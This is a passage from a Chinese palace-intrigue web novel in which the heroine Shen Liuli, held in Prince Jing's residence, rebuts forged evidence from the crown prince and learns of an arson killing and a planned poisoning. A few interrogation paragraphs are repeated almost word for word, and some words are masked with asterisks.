他缓缓说道:“二十年前,我母妃还只是待字闺中的邻国公主,与这位长乐公主,曾在万国来朝的盛会上,有过一面之缘,引为知己。后来母妃远嫁大徽,两人便只能通过书信往来。”
“我那时,不过五六岁年纪。却清楚地记得,当长乐公主惨死的消息传到大徽时,母妃将自己关在佛堂里,整整哭了三天三夜。从那以后,她的脸上,便再也没有了真正开怀的笑容。”
“那件事,也是本王第一次,亲眼见识到,所谓的宫廷倾轧,是何等的残酷无情。”
这个石破天惊的消息,让沈琉璃瞬间明白了过来!
她终于明白,靖亲王为何要跟她说这些了!
他不是在试探她,他是在警告她!
他从她的身上,看到了自己妹妹当年的影子!他怕她会重蹈覆辙!
沈琉璃虽然心中巨震,但表面依旧不动声色。她从靖亲王的话语中,敏锐地捕捉到了他对“女子才华”的惋惜,以及对“宫廷倾轧”的切齿痛恨。
她知道,自己赌对了。
靖亲王,并非真的想置她于死地!
一局棋罢,沈琉璃以半子之差,输了。
靖亲王没有再多说什么,只是在起身离去时,留下了一句意味深长的话。
“明日,裕儿会送一批‘证人’过来。”他看着她,缓缓说道,“丫头,你好自为之。”
他说完,便提着灯笼,转身离去。
沈琉璃站在棋盘前,看着这盘输掉的棋局,眼中却没有半分沮丧。
她知道,自己虽然输了棋,却赢得了在这座王府里,活下去的时间。
也赢得了,一个可以成为盟友的机会。
“小姐……我们现在怎么办?”春桃看着那盘棋局,声音里带着哭腔,“那个老王爷,他到底信了我们没有啊?他明天真的会让大皇子带人来审我们吗?”
沈琉璃没有回答,她只是静静地看着眼前这盘棋。自己输了,输得毫无悬念。靖亲王的棋风,与他的人一样,看似大开大合,实则步步为营,滴水不漏,他没有给自己留下任何可以喘息的机会。
“他信不信,不重要。”许久,沈琉璃才轻声说道,“重要的是,他给了我们一个开口的机会。”
“开口的机会?”
“没错。”沈琉璃的眼中,寒光闪过,“他若真的相信大皇子,今夜便不会来见我。他来,就说明他心中有疑。而他最后那句话,看似是警告,实则是提醒。他在提醒我,明天将会有一场鸿门宴,让我早做准备。”
“天真!”君北玄的声音,在她脑海中冰冷地响起,“你以为他是在帮你?错了!他是在告诉你,他要亲自下场,当这个棋手了!我们所有人,包括李裕在内,都成了他棋盘上的棋子!他要看的,不是谁对谁错,而是谁能在这场厮杀中,活到最后!”
“那我们……”
“我们现在要做的,不是去揣测他的心思。”君北玄的声音再次响起,“而是要在他为我们搭好的这个戏台上,唱一出足以让他为之动容的好戏!”
第60章 王府公堂
翌日清晨,天色阴沉,如同所有人的心情。
听竹苑的宁静,被一阵整齐的脚步声打破。秦姑姑带着四名护卫,出现在了门口。
她的脸上,还是那副温和的笑容。
“沈小姐,王爷有请。”
靖亲王府的前厅,早已被清空了多余的陈设,只在正堂上,摆了一张太师椅。
靖亲王身着一身暗紫色的王袍,头戴玉冠,手捻佛珠,端坐于主位上,不怒自威。那股属于皇室长辈的强大气场,压得整个厅堂都喘不过气来。
在他的左手边,大皇子李裕正襟危坐。
而在堂下,则跪着十几个早已被折磨得不成人形的“俘虏”。正是那夜,在“一线天”山谷中,被修罗卫生擒的,张启年的心腹副将和几名百夫长。
当沈琉璃带着春桃,被请进这间临时布置的“公堂”时,所有人的目光,都聚焦在了她的身上。
她今日,只穿了一身最素净的白色衣裙,脸上未施粉黛,头发也只是用一根简单的木簪挽起。那副模样,配上她那张略显苍白的俏脸,任谁看了,都会觉得她是一个受尽了惊吓的无辜少女。
“哼,妇人家的把戏。”君北玄在她脑中,不屑地评价道。
“将军,有时候,最好的盔甲不是兵器,是无辜。”沈琉璃在心里,平静地回应。
“大胆沈琉璃!”
不等靖亲王开口,大皇子李裕便第一个发难,他猛地一拍桌子,声色俱厉地喝道:“你可知罪?!”
沈琉璃没有看他,只是对着主位上的靖亲王,盈盈一拜:“民女不知,所犯何罪?”
“不知?”李裕冷笑一声,“好一个不知!来人!把证人给孤带上来!”
随着他一声令下,那名早已被折磨得不成人形的副将,被两名护卫,如同拖死狗一般,从一旁拖到了大殿中央。
“说!”李裕指着沈琉璃,厉声喝道,“当着王叔的面,把你所知道的一切,都给孤一五一十地说出来!若有半句虚言,孤让你全家上下,鸡犬不留!”
那名副将抬起头,用一双充满了血丝的眼睛,看了一眼沈琉璃。
最终,他像是下定了某种决心,对着靖亲王,重重地磕了一个头,声泪俱下地“指证”道:“王爷明鉴!小人有罪!是沈大小姐!是她与三皇子殿下,以重金和高位收买了我们!让我们在‘一线天’哗变,并刺杀了对殿下忠心耿耿的张启年将军!”
他说着,又从怀中取出了一封“密信”,高高举起!
“这……这是小的,从张将军的遗物中找到的!是沈大小姐与将军之间的往来密信!上面清清楚楚地记载着,他们是如何策划谋反,如何瓜分利益的!”
人证,物证,俱在!
且逻辑链条完整,天衣无缝!
一开场,沈琉璃便陷入了百口莫辩的死局!
春桃早已是吓得面无人色,几乎要当场晕厥过去。
而大皇子李裕,看着眼前这出,由他亲手导演的好戏,嘴角勾起了一抹冷笑。
沈琉璃,今天,必死无疑!
然而,就在这绝望的时刻,那个一直沉默不语的少女,却忽然发出了一声,极不合时宜的轻笑。
“呵……”
这声轻笑,虽然不大,却清晰地传入了在场每一个人的耳中。
所有人都愣住了。
“你笑什么?!”李裕的脸色,瞬间变得无比难看。
“我笑……”沈琉璃缓缓地抬起头,“我笑将军您,戎马一生,到头来,竟连一份军报的真假,都分不清。”
她将目光转向了副将陈庆,脸上露出几分恰到好处的困惑。
“陈将军,”她柔声问道,“琉璃一介女流,不懂军国大事。只是方才听您说,这封信是在张将军的遗物中找到的,想来信中所述,便是张将军与我商议的‘谋反大计’了?”
陈庆被她这突如其来的一问,弄得微微一愣,但还是咬着牙,从喉咙里挤出了一个字:“是!”
“那就好。”沈琉璃点了点头,脸上那份困惑更深了,“那琉璃,便有几个关于这件事的细节,想向您请教一二,也好让我死个明白。”
她这番话,说得楚楚可怜,将自己完全摆在了一个弱者的位置上,让在场所有人都觉得合情合理。
就连靖亲王,也微微颔首,示意她继续。
“这……这有什么好问的!”大皇子李裕心中升起一股不祥的预感,厉声喝道,“罪证确凿,你休想再狡辩!”
“王爷,”沈琉璃没有理他,只是看着靖亲王,“我只想死个明白,这个要求不算过分吧?”
“说。”靖亲王缓缓地吐出了一个字。
“好。”沈琉璃得到了许可,声音陡然变得清亮!
“信中说,我与张将军约定,以三千重甲步兵为主力,于‘一线天’设伏。陈将军,您是张将军的左膀右臂,想必对军械配备了如指掌。那您能否告诉王爷,为何我们这三千人的主力部队,竟只配备了区区五百张**?却又配备了,足以武装五千人的火油和引火之物?”
她顿了顿,歪着头,用一种天真无邪的语气问道:“敢问将军,这是我们乾国最新研究出的战法吗?是想让我们的士兵,在冲锋陷阵前,先把自己给点天灯,以壮声势吗?!”
这番话,如同一记重锤,狠狠地砸在了陈庆的心上!
他本就是被屈打成招,背的供词也是死记硬背,哪里想过,会有人问出如此专业的问题!他当场便愣住了,张大了嘴一个字也说不出来!
“问他这个做什么?!”君北玄在她脑中,也充满了不解。
“王爷,您别急。”沈琉璃在心里,神秘一笑,“好戏,现在才刚刚开始。”
“还有!”沈琉璃不给他任何喘息的机会,接连抛出了数个,君北玄提供的,关于**、后勤补给的专业问题!
“信中还说,要以骑兵从侧翼包抄。可据我所知,‘一线天’山谷两侧皆是峭壁,地
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势狭窄,别说是骑兵,便是步兵都难以展开。陈将军,您能否为我解惑,这骑兵是要飞到天上去包抄吗?”
“信中更提及,粮草大营要设在下风口的枯树林里。陈将军,您是沙场老将,您觉得,一个合格的统帅,会把自己的命脉,放在一个只需要一颗火星,便能让全军断粮的位置上吗?!”
随着沈琉璃一个个问题的抛出,那名副将的心理防线,彻底崩溃了!
他前言不搭后语,破绽百出,最终竟是“噗通”一声,瘫倒在地,口中喃喃地念着:“是殿下逼我的……”
真相,不言而喻!
她这番话,说得掷地有声!
那名副将,本就是被屈打成招,背的供词也是死记硬背,哪里想过,会有人问出如此专业的军事问题!
他当场便愣住了,张大了嘴,一个字也说不出来!
“还有!”沈琉璃不给他任何喘息的机会,接连抛出了数个,关于**、后勤补给的专业问题!
这些问题,自然都是由她脑中的“战神”君北玄,在幕后提供的!
每一个问题,都如同最锋利的刀子,精准地插在了那封伪造信件的逻辑漏洞上面!
随着沈琉璃一个个问题的抛出,那名副将的心理防线,彻底崩溃了!他前言不搭后语,破绽百出,最终竟是“噗通”一声,瘫倒在地,口中喃喃地念着:“不是我,不是我,是殿下逼我的……”
真相,不言而喻!
大皇子李裕的脸色,难看到了极点!
而主位之上,靖亲王猛地一拍桌子,一串珍贵的紫檀佛珠,竟被他生生捏断!
“够了!”
他对着大皇子李裕,发出了雷霆般的怒吼!
“裕儿!你当本王是三岁的孩童吗?!用这等上不得台面的手段,来构陷手足,污蔑忠良!你的眼里,还有没有国法!还有没有本王!”
李裕被骂得,当场便从椅子上滑了下来,却依旧嘴硬:“王叔明鉴!侄儿也是被小人蒙蔽了啊!”
“蒙蔽?”靖亲王冷笑一声。
他知道,在没有更确凿的证据之前,他也无法真的将当朝储君定罪。
最终,他做出了一个,让所有人都意想不到的决定。
他指着堂下的“证人”,冷冷地说道:“将这些人,全部给本王押入王府地牢,严加看管!在事情查明之前,任何人不得探视!”
随即,他的目光又落在了沈琉璃的身上。
“至于你,沈丫头,在洗脱嫌疑之前,也同样不得离开王府半步!”
……
沈琉璃虽然依旧是“囚徒”,但她却成功地,将大皇子精心准备的“人证”,变成了靖亲王手中的“人质”,彻底打乱了敌人的计划。
当李裕,悻悻地离去时,靖亲王府外,早已是恢复了往日的平静。
而沈琉璃,则在秦姑姑的“护送”下,重新回到了那座,名为“听竹苑”的城堡。
她知道,自己虽然暂时安全了。
第61章 棋盘外的刀
当听竹苑的院门在缓缓合上时,春桃才终于长长地舒出一口气,软软地靠在了门板上。
“小姐……”她看着自家小姐的侧脸,声音里还带着颤抖,“我们这是赢了吗?”
沈琉璃没有回答她,而是径直走到院中的石桌旁坐了下来。
赢了吗?
她将大皇子精心准备的人证变成了靖亲王手中的人质,暂时打乱了敌人的节奏,从这个角度看,确实算是赢了。
可她也同样清楚,自己只是从一个看得见的牢笼,走进了一座更华丽的城堡。
“不算赢,”许久,她才轻声说道,“只能说,我们暂时还没输。”
“还没输,那不就是赢了嘛!”春桃的心思要简单得多,她看着这清幽雅致的庭院,又看了看桌上早已备好的精致茶点,那颗悬着的心终于落回了肚子里。
她凑上前,拿起一块桂花糕就往嘴里塞,含糊不清地说道:“小姐您看,这靖亲王府的牢饭,可比咱们尚书府的还好呢!有肉有茶还有这点心,我看咱们就在这儿多住几天,也挺好的。”
看着她这副没心没肺的模样,沈琉璃那紧绷的神经稍稍放松了些许,忍不住被她逗笑了。
“你呀,真是天塌下来都耽误不了你那张嘴。”
“哼,鼠目寸光。”君北玄的声音,在她脑海中毫不留情地响起,“一座华丽的囚笼,几块不值钱的糕点,便能让她忘了自己此刻的处境。上了战场,这种人第一个就会叛变。”
“王爷,您就别站着说话不腰疼了。”沈琉璃在心里,有气无力地回敬了一句,“春桃她只是个丫鬟,不是您麾下那些身经百战的士兵。再说,您现在不也正舒舒服服地待在我这‘囚笼’里,什么都不用做吗?”
君北玄被她这番话噎得半天说不出一个字,最终只能冷哼一声,强行转移了话题:“好了!别说这些没用的了!现在,立刻复盘!将今日的所有细节,都给本王从头到尾地过一遍!靖亲王那个老狐狸,远比李裕难对付,他今日的每一个眼神,每一句话,都必然暗藏深意!”
君北玄永远是那么地直接,在他看来,一场战役结束后,最重要的便是总结得失,分析敌情,为下一场战斗做准备。
然而,沈琉璃却缓缓地摇了摇头。
“不急。”她端起那杯早已凉透了的参茶,浅呷一口,“仗打完了,总得让士兵喘口气。您现在就算是逼着我复盘,我这脑子也转不动了。”
“妇人之见!”君北玄气得在她脑子里来回踱步,“战场上瞬息万变,你现在浪费的每一刻,都可能成为敌人反扑的机会!你……”
“王爷,您说的都对。”沈琉璃打断了他,声音里带上了几分疲惫,“但您是不是忘了,我不是您的士兵,我是个女人。女人在打完一场硬仗后,最需要的不是复盘,是美美地泡个热水澡,再好好地睡一觉。”
君北玄:“……”
他再一次,感觉自己与这个女人之间,隔着一条无法逾越的鸿沟。
就在这一人一鬼,在脑海里进行着互相吐槽的时候,听竹苑的院门,再次被轻轻地敲响。
秦姑姑带着两名侍女,端着一个巨大的食盒,脸上挂着温和的笑容,缓缓地走了进来。
“沈小姐,春桃姑娘,想必二位都饿了吧?”她将食盒打开,一道道精美的菜肴被摆上了石桌,“王爷吩咐了,说小姐您受了惊吓,特意让厨房备了些安神补气的膳食。您若是有什么别的想吃的,只管吩咐老奴便是。”
她的态度,亲切得就像一个邻家的长辈。可她的眼睛,却不着痕迹地在沈琉璃的脸上一扫而过,似乎想从她的脸上看出些什么。
“有劳姑姑费心了。”沈琉璃微微一笑,“王爷仁厚,琉璃感激不尽。”
她知道,靖亲王的第二轮试探,已经开始了。
接下来的整整一天,听竹苑内风平浪静。
靖亲王没有再出现,也没有提审任何人。他就好像忘了这里还关着两个“钦犯”一般,不闻不问。
可越是如此,沈琉璃的心中便越是警惕。
她知道,这风平浪静的湖面下,正酝酿着一场更大的风暴。那位老王爷,正如同一个猎手,在暗中观察着她的一举一动,等待着她露出破绽。
而她唯一能做的,就是要比他更有耐心。
她每日的生活,规律得像一本教科书。
清晨,她会带着春桃,在院中的竹林里散步;上午,她会坐在窗边,安静地看书;下午,她则会亲自烹茶,与前来“问安”的秦姑姑,闲话家常。
她聊的,都是些女儿家的琐事,从京城最新的首饰花样,到江南新出的胭脂水粉,绝口不提任何与案情有关的话题。
她将自己,完美地塑造成了一个,对生活充满热情的少女。
她越是如此,秦姑姑便越是看不透她。而靖亲王,在听完秦姑姑的每日汇报后,也只是捻着佛珠,不置可否。
这场无声的较量,持续了整整两日。
直到第三日的傍晚,这份虚假的平静,终于被打破了。
秦姑姑再次来到了听竹苑,只是这一次,她的脸上,再也没有了往日的温和,取而代之的,是一片山雨欲来的凝重。
“沈小姐,”她对着沈琉璃,微微一福,“王爷有请。”
沈琉璃的心,猛地一跳。
她知道,真正的审判,现在才刚刚开始。
……
靖亲王府,书房。
与前厅那临时布置的“公堂”不同,房间内没有多余的陈设,只有一排排直抵屋顶的书架,空气中弥漫着一股淡淡的檀香味。
靖亲王依旧是一身素净的常服,正坐于书案之后,手中捧着一卷书,看得极其专注。而在他的下首,大皇子李裕正端坐于客座之上。
当沈琉璃被秦姑姑领进这间书房时,她能清晰地感觉到,气氛与两日前已是截然不同。
“沈丫头,你来了。”靖亲王缓缓地放下手中的书卷。
“坐吧。”
沈琉璃依言坐下,心中早已是将警惕提到了最高。
“王叔,”大皇子李裕率先开了口,他看着沈琉璃,“孤本以为,沈大小姐只是一时糊涂,受了小人蒙蔽。却不想,竟是如此地执迷不悟,死不悔改!”
他顿了顿,从怀中取出了一份卷宗,重重地拍在了桌上!
“就在今天上午,”他朗声说道,“京兆府衙门前,来了一位鸣冤的老者。他状告的不是别人,正是沈琉璃!”
沈琉璃的眉头,不易察觉地轻轻一蹙。
“哦?”靖亲王也来了兴趣,
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他看向李裕,“状告她什么?”
“状告她,”李裕一字一顿地说道,“在‘一线天’事发之前,曾多次与一名形迹可疑的‘北境商人’,在城西的‘悦来客栈’秘密会面!”
这个指控,如同一道惊雷,在沈琉琉的脑海中炸响!
她怎么也没想到,李裕的反击,竟会来得如此之快,如此之刁钻!
他没有再纠缠于那封早已被证明是伪造的信件,而是为她编织了一张新的罪网!
“那个老者,是‘悦来客栈’的掌柜。”李裕继续说道,“他已画出了那名‘北境商人’的画像,并且,还呈上了一样,沈大小姐您‘不慎’遗落在客栈中的信物!”
他说着,便将一张画像和一块手帕,呈到了靖亲王的面前。
画像上,是一个身材魁梧,面容冷峻的男人。虽然画得有些抽象,但那股神韵,却与陆风,有七八分的相似!
而那块手帕,更是绣着一朵含苞待放的昙花,正是沈琉璃平日里最常用的那一款!
“人证,物证,俱在!”李裕看着沈琉璃,脸上露出了一个胜利者的笑容。
“沈琉璃,你现在,还有何话可说?!”
面对这个突如其来的致命指控,沈琉璃知道,自己陷入了一个比之前,还要危险的死局!
这个局看似简单,却很致命!
李裕没有再用那些,可以被轻易勘破的伪证。他用的是一个看似“中立”的第三方证人,用的是一件看似“无懈可击”的物证!
最重要的是,他所指控的“罪行”,并非“谋逆”这种惊天大罪,而是一件可大可小的“私会”!
可就是这件“小事”,却足以将她之前所有的努力,都毁于一旦!
一个即将嫁入大徽东宫的未来太子妃,竟在国婚之前,与一名来历不明的“北境商人”私下会面?
这件事无论真假,一旦传出去,都将成为她身上,永远也洗刷不掉的污点!
届时,不仅是她,便是整个尚书府,乃至乾国皇室的颜面,都将荡然无存!
而大徽王朝的太子君怀瑾,在得知此事后,又会作何感想?!
“好一招‘诛心’。”君北玄的声音,在她脑海中响起,“他这是要让你,身败名裂!”
沈琉璃死死地攥着拳头,指甲深深地陷入了掌心。她的大脑,在飞速地运转着,思考着破局的可能。
反驳?
如何反驳?
说自己不认识那个商人?可客栈掌柜言之凿凿!
说那块手帕不是自己的?可上面的绣样和香气,却是她独有的!
她发现,自己竟被逼入了一个,无论如何解释,都显得苍白无力的绝境!
“怎么?无话可说了?”李裕看着她那张毫无血色的脸,心中的快意达到了顶峰。
他就是要用这种方式,让她在无边的绝望中,一点一点地被摧毁!
然而,就在他以为,自己已经稳操胜券的时候。
那个一直沉默不语的少女,却缓缓地抬起了头。
她的脸上没有惊慌,没有恐惧,甚至没有半分愤怒。
只有一种,让人看不懂的平静。
“殿下,”她开口,声音不大,“您说的这些,我都承认。”
什么?!
她……她竟然承认了?!
第62章 釜底抽薪
“我都承认。”
当沈琉璃这句轻描淡写的话语,在寂静的书房内缓缓落下,时间仿佛凝固了。
大皇子李裕脸上的笑容,瞬间僵住。他准备好了一万句反驳的说辞,准备好了欣赏她垂死挣扎的丑态,却唯独没有料到,她会如此干脆利落地认罪?
这不对劲!
而坐在主位上,一直不动声色的靖亲王,那双捻着佛珠的手,也几不可见地停顿了一下。
他见过太多在铁证面前抵死不认的狂徒,也见过太多被吓得屁滚尿流的懦夫,却从未见过像眼前的少女这般,如此平静的“罪人”。
“你……你承认了?”李裕的声音里,充满了不敢置信,他甚至怀疑自己的耳朵是不是出了问题。
“是啊。”沈琉璃点了点头,仿佛不明白他为何会如此惊讶。
她站起身,先是对着主位上的靖亲王,盈盈一福,随即才将目光转向了李裕。
“殿下,”她轻声说道,“我确实在‘悦来客栈’见过北境来的商人。”
“而且,”她拿起了桌上绣着昙花的手帕,仔细地端详了片刻,“这方手帕,也确实是我的。”
“王爷!”她没有再理会李裕,而是转头看向靖亲王,“只是琉璃有一事不明,为何我为了备嫁,与商人洽谈生意,竟会成了殿下口中的‘罪过’呢?”
备嫁?生意?
这两个词,让在场所有人都懵了。
“你胡说八道些什么?!”李裕第一个反应了过来,厉声喝道,“你分明是与奸细私会,图谋不轨!”
“奸细?”沈琉璃眨了眨眼,“殿下何出此言?那位,明明是北境最大的皮货商人,王掌柜啊。”
她不等李裕反驳,便自顾自地将早已编排好的故事,娓娓道来。
“王爷明鉴,”她对着靖亲王,福了一福,“您是知道的,琉璃即将远嫁大徽。那北境之地,天寒地冻,与我们乾国气候截然不同。琉璃自幼体弱,怕冷得很,便想着,提前为自己备下几件御寒的冬衣。”
“后来,听闻都城中来了一位北境的皮货商人,手中有最上等的紫貂皮和雪狐裘。琉璃便想着,不仅要为自己备下,更要为未来的婆母备上一份。如此,既能显得我们乾国物产丰饶,也能全了琉璃的一片孝心。”
她这番话说得合情合理,将一个即将远嫁的少女,那份既担忧又想讨好未来婆家的心思,刻画得入木三分。
就连一向不苟言笑的靖亲王,在听到“孝心”二字时,脸上的神情也缓和了几分。
“至于这方手帕……”沈琉璃拿起那方手帕,脸上露出了几分不好意思,“那日,我与王掌柜谈妥了生意,心中欢喜。又听闻他家夫人也同样体弱畏寒,便想着,将我‘玉容阁’新出的一款暖身香膏,赠予她一盒,以示谢意。只是当时走得匆忙,未曾备下礼盒,便只好用这随身的手帕,包裹了香膏。想来,应是那时不慎遗落的。”
她怯生生地说道:“殿下,您该不会是以为,我……”
她没有把话说完,但那未尽之意,却像一记无声的耳光,狠狠地扇在了李裕的脸上!
“你……你胡搅蛮缠!”李裕气得浑身发抖,他指着沈琉璃,却发现自己竟找不到任何一个可以反驳的词!
因为,沈琉璃的这番解释,堪称完美!
它不仅将所有的“罪证”,都变成了一场合情合理的“巧合”,更是将她自己,塑造成了一个,孝敬长辈的“贤良女子”!
而他,这个气势汹汹前来“捉奸”的大皇子,反倒成了一个,心胸狭隘、无事生非,甚至意图破坏两国邦交的小人!
“简直是妖言惑众!”
在沈琉璃的脑海中,君北玄在经历了最初的震惊后,终于忍不住发出了赞叹。
“本王承认,论颠倒黑白、指鹿为马的本事,你这个女人确实是天下一绝。死的都能被你说成活的,一桩通敌的死罪,竟被你描绘成了一场感人至深的‘婆媳榜样’。”
“本王麾下那些谋士,若是能有你一半的口才,当年也不至于被太子那帮酸儒,在朝堂上骂得狗血淋头了。”
“王爷过奖了。”沈琉璃在心里,得意地回了一句。
她没有再理会鬼王爷,而是将目光,重新投向了脸色铁青的李裕。
“殿下,”她的声音里,带上了恰到好处的委屈,眼眶也适时地红了起来,“琉璃知道,您一向不喜我。可您也不能因为这个,就如此污蔑我的清白啊。”
“我一个未出阁的女子,清白二字比性命还重。今日之事若是传了出去,您让琉璃日后还如何做人?又如何去面对大徽的太子殿下?若是因此影响了两国邦交,这个责任殿下您担待得起吗?”
她这番话,句句诛心!
直接将这件事,从“个人恩怨”上升到了“国家利益”的高度!
李裕被她这番话,噎得脸色一阵青一阵白,他死死地攥着拳头,恨不得当场就掐死这个伶牙俐齿的**!
“好了。”
就在此时,一直沉默不语的靖亲王,终于缓缓地开了口。
他没有去看李裕,只是将目光,投向了那张画着陆风的画像。
“裕儿,”他缓缓开口,声音听不出喜怒,“你口中这位‘北境商人’,长得倒还真有几分将帅之风,不知可有名姓?”
李裕的心,猛地一跳!
他知道,王叔这是在给他最后一个台阶下。
他深吸一口气,强行压下心中的怒火,从牙缝里挤出了几个字:“侄儿,不知。”
“哦?不知?”靖亲王笑了笑,“那你又是如何断定,他便
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是‘奸细’呢?”
“我……”
“行了。”靖亲王摆了摆手,打断了他,“此事,到此为止。”
他站起身,走到李裕的面前,将那张画像和手帕,重新放回了他的手中。
“裕儿,”他的声音,变得无比语重心长,“你是储君,是未来的国主。你的眼睛,应该放在朝堂之上,放在天下万民身上。而不是整日里,盯着一个女子的手帕和行踪。”
“你这么做,不仅失了你皇子的体面,更会让天下人,耻笑我皇室,没有容人之量。”
他这番话,虽然说得温和,却比任何严厉的斥责,都更让李裕感到羞辱!
“……侄儿,知错了。”最终,李裕从牙缝里,挤出了这几个字。
“知错便好。”靖亲王点了点头,“回去吧,好生反省。”
李裕没有再多说一个字,只是对着靖亲王,重重地一拜,随即转身离去。
看着他离去的背影,沈琉璃知道,自己又一次,从鬼门关前,硬生生地爬了回来。
书房内,只剩下了沈琉璃和靖亲王二人。
气氛,反而比刚才,更加凝重。
靖亲王没有说话,他只是缓缓地走回书案后。
沈琉璃静静地站在原地,等待着他最后的审判。
她知道,自己虽然暂时唬住了李裕,但绝不可能骗过眼前这个,早已洞悉一切的老狐狸。
“丫头,”许久,靖亲王才缓缓开口,“你可知,欺骗本王是何等下场?”
沈琉璃的心,猛地一紧。
她没有狡辩,只是对着靖亲王,盈盈一拜。
“王爷明鉴,”她轻声说道,“琉璃从未想过,要欺骗王爷。”
“哦?”
“我只是,在用我自己的方式,向王爷您证明一件事。”沈琉璃抬起头,迎上了他那双锐利的眼睛,“证明我,有资格成为您的盟友,而不是您棋盘上,一枚随时可以被牺牲的棋子。”
靖亲王捻动佛珠的动作,猛地一顿!
他看着眼前这个,明明只有十六岁的少女,眼中却闪烁着与年龄不符的智慧与胆识。
许久许久,他才发出了一声轻叹。
“……你很像她。”他缓缓说道,“像极了我那个早夭的妹妹。”
“一样的聪明,一样的胆大包天。”
他说完,便不再看沈琉璃,只是对着门外,淡淡地吩咐道:“秦姑姑,送沈小姐回听竹苑吧。”
“从今天起,没有本王的命令,任何人不得再踏入听竹苑半步。”
这,便是他最后的答案。
他没有选择相信她,却也没有选择将她交给李裕。
他要将这枚棋子,牢牢地锁在自己的身边。
他要亲眼看看,这只看似柔弱的小狐狸,到底还能在这盘棋局上,掀起多大的风浪。
第63章 无声的杀机
与天牢里冰冷的石墙不同,听竹苑的“墙”,是由无处不在的眼睛构成的。这里的一切都安静、规律,足以将任何锐气都消磨殆尽。
石桌上,那盘棋局依旧静静地摆在那里,黑白子犬牙交错,杀机暗藏。这是靖亲王留下的战场,也是他无声的试探。
“小姐,您都看这盘棋看了三天了,不闷吗?”春桃将一碟新切的瓜果放在桌上,小声地嘀咕道,“我看那个老王爷就是故意的,把我们关在这里,好吃好喝地供着,却什么都不说,简直比打我们一顿还难受。”
沈琉璃没有回答,只是伸出纤细的手指,捻起一枚白子,悬在棋盘上方,久久没有落下。
“他在等。”君北玄的声音,在她脑海中响起,“他在等外面的那盘棋,下出一个结果。”
“外面的棋?”
“没错。”君北玄的声音里,带上了几分凝重,“大皇子李裕,绝不会就这么善罢甘休。他现在必然在想尽一切办法,为你罗织新的罪名。而你那位好表哥,三皇子李琰,也同样在为你奔走。靖亲王这个老狐狸,他谁也不帮,他只是在等,看你们双方,谁能先递给他一把,足以一刀毙命的刀。”
君北玄的分析,一针见血。
沈琉璃知道,自己现在最缺的,便是来自外界的消息。她就像一个被蒙住了眼睛的棋手,根本不知道对手下一步棋会落在何处。
就在此时,院门外传来了秦姑姑的声音。
“沈小姐,有位故人前来探望。”
沈琉璃的心,猛地一跳。
故人?
只见秦姑姑侧身让开,一个身着青布长衫的中年男人,提着一个食盒,低着头走了进来。
是忠叔!
“忠叔!”春桃第一个惊喜地叫出了声。
忠叔抬起头,看到自家小姐和春桃安然无恙,也露出了几分欣慰的神情。
“小姐,春桃姑娘。”他躬身行礼,将手中的食盒放在了桌上,“老奴听闻小姐在王府里受了委屈,特意让家里的厨子,做了几样您平日里爱吃的小菜送来。”
秦姑姑看了一眼食盒,又看了看忠叔,脸上露出了几分为难的神情:“沈管家有心了,只是王爷有令,听竹苑内的一切用度,皆由王府供给。外来的食物,按规矩是不能……”
“姑姑,”沈琉璃适时地开了口,她走到秦姑姑身边,从手腕上褪下了一支成色极佳的玉镯,不由分说地塞进了她的手里,“不过是些家常小菜,解解馋罢了,并非什么金贵之物。忠叔是我看着长大的老人,一片忠心,我实在不忍拂了他的意。还望姑姑,看在琉璃的面子上,通融一二。”
秦姑姑掂了掂手中那分量不轻的玉镯,脸上的为难之色,立刻变成了温和的笑容。
“沈小姐说的这是哪里话。”她将玉镯收入袖中,笑道,“既然是沈管家的一片心意,老奴又岂有不允之理。你们主仆叙旧,老奴便不在此处打扰了。”
说完,她便极有眼色地退了出去,还顺手关上了院门。
“小姐!”忠叔看着秦姑姑离去的背影,压低声音,急切地说道,“您怎么能……”
“无妨。”沈琉璃摆了摆手,“这座囚笼,看似密不透风,实则处处都是可以用钱来收买的缝隙。忠叔,外面到底发生了什么?”
忠叔的脸色,立刻变得无比凝重。
他将食盒的夹层打开,从里面取出了一封用油纸包裹得严严实实的密信。
“小姐,您看完便知。”
沈琉璃将密信展开,只看了一眼,她那张原本还算平静的俏脸,血色褪尽!
信,是顾九写来的。
信上的内容,只有两件看似毫不相干的事情。
第一件,昨日深夜,“悦来客栈”在一夜之间,被一把无名大火,烧成了白地!客栈的掌柜,连同其一家七口,尽数葬身火海,无一生还!
京兆府初步勘验的结果是“灶火引燃,不幸走水”。
可顾九在信中却明确地指出,他在火场的灰烬中,发现了数枚,只有在南疆才会使用的“磷火珠”的残骸!
这根本不是意外,这是一场精心策划的灭口!
而第二件事,则更加令人不寒而栗。
顾九在都城的地下药市中,发现了一桩奇怪的交易。有人,竟在不计成本地收购一种名为“牵机”的奇毒。
“牵机?”沈琉璃在心中,默念着这个陌生的名字。
“那不是毒。”君北玄的声音,在她脑海中响起,冰冷得不带任何感情,“那是大徽王朝的宫廷秘药,专门用来,赐死那些犯了重罪,却又不能留下任何外伤的皇室宗亲。”
“此药无色无味,服下之后,**者只会觉得四肢无力,如同醉酒。最终在睡梦中,心脉与脏器会自行收缩,直至衰竭而亡。其死状,与常人因突发恶疾而暴毙,一般无二。”
君北玄的这番话,让沈琉璃只觉得一股寒气,从脚底瞬间窜上了天灵盖!
灭口证人,暗购奇毒!
大皇子李裕,他这是要做什么?!
“他不是在做什么。”君北玄的声音,变得无比凝重,“他已经做完了。”
“什么?!”
“沈琉璃,你还不明白吗?”君北玄的语速极快,“他这是在为你,准备后事!”
“他知道,靖亲王虽然将你软禁,却并未对你动手,这说明靖亲王心中有疑。所以,他便用一场大火,将‘证人’烧得干干净净,死无对证!”
“而那‘牵机’之毒,便是为你准备的!”
“他必然会想办法,将此毒,神不知鬼不觉地送入这听竹苑中!让你‘病死’在这座囚笼里!”
“届时,你一死,所有的线索都断了。靖亲王即便再多疑,也绝不可能为了一个‘病故’的**,去深究当朝的储君!”
君北玄的分析,如同一幅画卷,在沈琉璃的面缓缓展开。
她终于明白,李裕的耐心,已经耗尽了。
他要用一种最直接的方式,将她这颗眼中钉,从这个世界上抹去!
“小姐……小姐您没事吧?”春桃看着自家小姐那张毫无血色的脸,声音都在发颤。
沈琉璃没有回答,她只是死死地攥着那封密信,她的大脑在飞速地运转着。
不行!不能再这么等下去了!
她必须在李裕的*
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*,送到这听竹苑之前,找到一个破局的方法!
可她现在身处囚笼,与外界的一切联系都已被切断,她又能如何破局?
“有了!”
她猛地抬起头,看着忠叔。
“忠叔!”她的声音异常坚定,“我需要你,为我办一件事!”
“小姐请吩咐!”
“你去,”沈琉璃看着他,“给大皇子殿下,送一份‘礼’!”
